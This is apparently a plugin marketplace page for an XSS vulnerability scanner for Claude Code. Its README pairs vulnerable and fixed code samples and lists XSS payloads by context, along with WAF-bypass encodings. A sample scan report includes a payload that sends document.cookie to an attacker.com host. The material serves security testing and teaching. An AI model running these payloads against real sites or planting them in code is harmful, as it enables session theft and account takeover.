Available in
Marketplaces, most starred first
Tags
Add to README
Shows its components, always-on context cost and install status, kept current. Add ?tokens=0 to hide the cost.
Marketplaces, most starred first
Shows its components, always-on context cost and install status, kept current. Add ?tokens=0 to hide the cost.
Marketplaces, most starred first
Shows its components, always-on context cost and install status, kept current. Add ?tokens=0 to hide the cost.
By danielmiesslerv1.0.0MITIn 1 marketplace
Finds reflected, stored and DOM-based cross-site scripting flaws in your code and in live URLs, with fixes for each. Tests payloads against WAF filters and CSP.
You run one by typing its /name in Claude Code.
No risk signals detected
Nothing flagged in this plugin's hooks, MCP servers or commands. Other components are not analyzed.
Static checks of hooks, mods, MCP servers and commands. Not a security audit.
1 marketplace, most starred first
xss, cross-site-scripting, vulnerability-scanner, security-audit, csp, waf-bypass, web-security, code-review ·
Shows its components, always-on context cost and install status, kept current. Add ?tokens=0 to hide the cost.
Comprehensive cross-site scripting (XSS) vulnerability detection with context-aware analysis and bypass technique testing.
/plugin install xss-vulnerability-scanner@claude-code-plugins-plus
/scan-xss
# Or shortcut
/xss
User input immediately reflected in response without sanitization.
// VULNERABLE
app.get('/search', (req, res) => {
res.send(`<h1>Search results for: ${req.query.q}</h1>`);
});
// Attack
/search?q=<script>alert(document.cookie)</script>
// SECURE
app.get('/search', (req, res) => {
const sanitized = escapeHtml(req.query.q);
res.send(`<h1>Search results for: ${sanitized}</h1>`);
});
Malicious script stored in database and executed when viewed.
// VULNERABLE
app.post('/comment', async (req, res) => {
await db.comments.insert({
text: req.body.comment
});
});
app.get('/comments', async (req, res) => {
const comments = await db.comments.findAll();
res.send(comments.map(c => `<p>${c.text}</p>`).join(''));
});
// Attack
comment: <img src=x onerror="alert(document.cookie)">
// SECURE
app.post('/comment', async (req, res) => {
await db.comments.insert({
text: sanitizeHtml(req.body.comment)
});
});
Vulnerability in client-side JavaScript code.
// VULNERABLE
<script>
document.getElementById('greeting').innerHTML =
'Hello ' + location.hash.substring(1);
</script>
// Attack
http://example.com/#<img src=x onerror="alert(1)">
// SECURE
<script>
document.getElementById('greeting').textContent =
'Hello ' + location.hash.substring(1);
// textContent escapes HTML automatically
</script>
<!-- Vulnerable -->
<div>User input: USER_INPUT</div>
<!-- Payloads -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- Vulnerable -->
<script>var name = 'USER_INPUT';</script>
<!-- Payloads -->
'; alert(1); //
'; alert(1); var x='
'-alert(1)-'
<!-- Vulnerable -->
<input value="USER_INPUT">
<!-- Payloads -->
" onload="alert(1)
" autofocus onfocus="alert(1)
<!-- Vulnerable -->
<a href="USER_INPUT">Click</a>
<!-- Payloads -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
<!-- Vulnerable -->
<style>body { background: USER_INPUT; }</style>
<!-- Payloads -->
}body{background:url('javascript:alert(1)');}
expression(alert(1))
<ScRiPt>alert(1)</sCrIpT>
<iMg sRc=x OnErRoR=alert(1)>
<!-- HTML Entity Encoding -->
<script>alert(1)</script>
<!-- URL Encoding -->
%3Cscript%3Ealert(1)%3C/script%3E
<!-- Unicode Encoding -->
\u003cscript\u003ealert(1)\u003c/script\u003e
<!-- Hex Encoding -->
<img src=x onerror="alert(1)">
<scri\x00pt>alert(1)</scri\x00pt>
<img src=x onerror\x00=alert(1)>
<!--><script>alert(1)</script>-->
<script><!--*/alert(1)//--></script>
<input value="test" onclick=alert(1) ">
<input value='test' onclick='alert(1)' '>
XSS VULNERABILITY SCAN REPORT
==============================
URLs Tested: 150
Parameters Tested: 450
Vulnerabilities Found: 8
Critical: 3
High: 4
Medium: 1
CRITICAL VULNERABILITIES
------------------------
1. Stored XSS in User Profile
Location: /api/profile/update
Parameter: bio
Type: Stored XSS
Severity: CRITICAL (CVSS 9.0)
Vulnerable Endpoint:
POST /api/profile/update
{
"bio": "<script>alert(document.cookie)</script>"
}
Stored Location: users.bio column
Triggered When: Profile viewed by any user
Payload:
<img src=x onerror="
fetch('https://attacker.com/steal?cookie=' + document.cookie)
">
Impact:
- Session hijacking for all users viewing profile
- Cookie theft
- Account takeover
- Worm propagation
Remediation:
// Server-side (Node.js)
const DOMPurify = require('isomorphic-dompurify');
app.post('/api/profile/update', (req, res) => {
const sanitized = DOMPurify.sanitize(req.body.bio);
db.updateProfile(req.user.id, { bio: sanitized });
});
// Client-side (React)
import DOMPurify from 'dompurify';
Built from public signals: copy clicks on this site, GitHub stars and activity, the README and the manifest. Not a security audit or an endorsement.
npx claudepluginhub danielmiessler/claude-code-plugins-plus --plugin xss-vulnerability-scannerPlugins from other owners that cover similar ground